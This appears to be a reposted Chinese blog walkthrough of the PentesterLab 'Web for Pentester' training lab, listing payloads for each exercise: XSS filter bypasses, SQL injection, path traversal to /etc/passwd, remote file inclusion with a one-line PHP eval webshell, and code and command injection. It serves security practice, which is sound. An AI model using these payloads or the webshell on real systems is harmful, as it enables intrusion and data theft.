Web For Pentester


Web for Pentester


傳統漏洞之前學習過一段時間,但在實際工作中用的並不順手,我想找個系統點的靶場來進行練習,於是找到了Web for Pentester。

Web for Pentester是PentesterLab提供的靶場,ISO下載地址:Web  for Pentester 

 

平台主要包含如下漏洞:

Code injection (代碼注入) Commands injection(命令行注入) XSS(跨站腳本) SQL injections(sql注入) File include(文件包含) LDAP attacks(LDAP攻擊) File Upload(文件上傳) XML attacks(XML攻擊)

 

 

 

實戰

用netdiscover局域網查找靶機

 

 

 

使用 Nmap 掃描靶機端口

 

訪問靶機80端口

 

 

 

 

XSS

Example1

基本xss

<script>alert(/xss/)</script>

 

 

 

Example2

<script>和</script>被過濾,用大小寫繞過:
<scRipt>alert(/xss/)</SCript>

 

 

 

Example3

字符拼接方式繞過:
<scr<script>ipt>alert(/xss/)</scr</sCript>ipt>

 

 

Example4

script徹底屏蔽,換一個標簽:
<img src='' onerror="alert('xss');">

 

 

Example5

過濾了alert:  
<script>prompt('xss')</script>

 

 

Example6

輸入放到script標簽里面了,自己構造腳本就好( \\ 是js的注釋符): 
";alert(/xss/);//

 

 

Example7

雙引號換成單引號:

';alert(/xss/);//

 

 

Example8

還可以這樣

/"><script>alert(1)</script>

 

 

Example9

用到locaiton.has,DOM型xss。

/xss/example9.php#<script>alert(/xss/)</script>,理論上來說這樣應該可行,實際上不行,<>被編碼了,無法彈出alert:

hmm...查了一下資料,這里的編碼並不是咱們能控制的,與不同瀏覽器內部解釋機制有關。。chrome和firefox都會對<>編碼,然鵝,ie木有(這么看來ie不能卸!!)

<script>alert(/xss/)</script>

 

SQL injections

Example1

'or 1=1+--+

 

 

 Example2

'/**/or/**/'1'='1

 

 

 

 

Example3

'/**/or/**/'1'='1

  

 

 

 

Example4

or 1=1

  

 

 

 

Example5

or 1=1

  

 

 

Example9

IF(1,name,age)

 

 

 

 

Directory traversal

Example1

../../../../../../etc/passwd

 

 

 

Example2

/var/www/files/../../../../../../etc/passwd

 

 

 

 

Example3

../../../../etc/passwd%00.png

 

 

 

 

File Include

Example1

/etc/passwd

 

 

 

Example2

/etc/passwd%00

 

 

 本地包含木馬

/fileincl/example2.php?page=http://192.168.0.102/shell.txt
一句話PHP木馬:
<?php @eval($POST['123']);?>

 

 

 

 

Code injection

Example1

".system('ls');//

php把獲取到參數拼接進$str變量,然后eval()函數執行php語句。沒有任何過濾,只要保證最后語法正確可以執行。

注: 注釋掉的代碼是我自己加上,你也可以自己加上,更直觀一點,下面默認都是加上的。

 

 

 

Example2

);}system('ls');//

usort() 使用用戶自定義的比較函數對數組進行排序。語法:usort(array,myfunction);

usort()經常與該功能create_function一起使用,以基於用戶控制的信息動態生成“分類”功能。如果Web應用程序缺乏有效的篩選和驗證,則可能導致代碼執行。

 

 

 

Example3

system('ls')&pattern=/lamer/e&base=Hello%20lamer

preg_replace()函數:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )搜索 subject 中匹配 pattern 的部分, 以 replacement 進行替換。

 

 

 

Example4

'.system('ls').'

看到assert函數就要警惕了,和eval函數都是一句話后門程序。區別在於eval函數中參數是字符串,assert函數中的參數是表達式或者是函數。

trim() 函數移除字符串兩側的空白字符或其他預定義字符。

htmlentities() 函數把字符串轉換為HTML實體。

 

 

 

Commands injection

Example1

127.0.0.1 | cat /etc/passwd

 

 

 

 

Example2

%0A cat /etc/passwd

 

 

 

 

 

Example3

|uname+-a

 

 

 

 

LDAP attacks

Example1

發送空值,LDAP服務器會繼續綁定鏈接

 

 

 

Example2

Example2的后端源代碼,需要傳入兩個參數一個是name另一個是password,password由於在傳入后被md5加密,所以基本不能注入,所以這里我們考慮name

LDAP經常使用通配符*字符來匹配任何值。還有需要注意的就是和別的注入相似我們也需要注釋掉后面沒用的代碼,ldap可以使用NULL BYTE(即%00)來注釋掉后面的代碼。

下面我們就通配符*做一個簡單的測試:

username=hacker&password=hacker 得到認證(這是正常的情況)。

username=hack*&password=hacker 得到認證(通配符匹配相同的值)。

username=hacker&password=hac* 沒有得到認證(密碼可能會被md5、hash加密過)。

 

a*)(cn=*))%00password=aaa

 

 

 

File Upload

Example1

可以直接上傳文件

 

 

Example2

不允許上傳php后綴文件,這里可以把后綴改為test

 

 

XML attacks

Example1

 

 

Example2

hacker ' or 1=1']%00

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM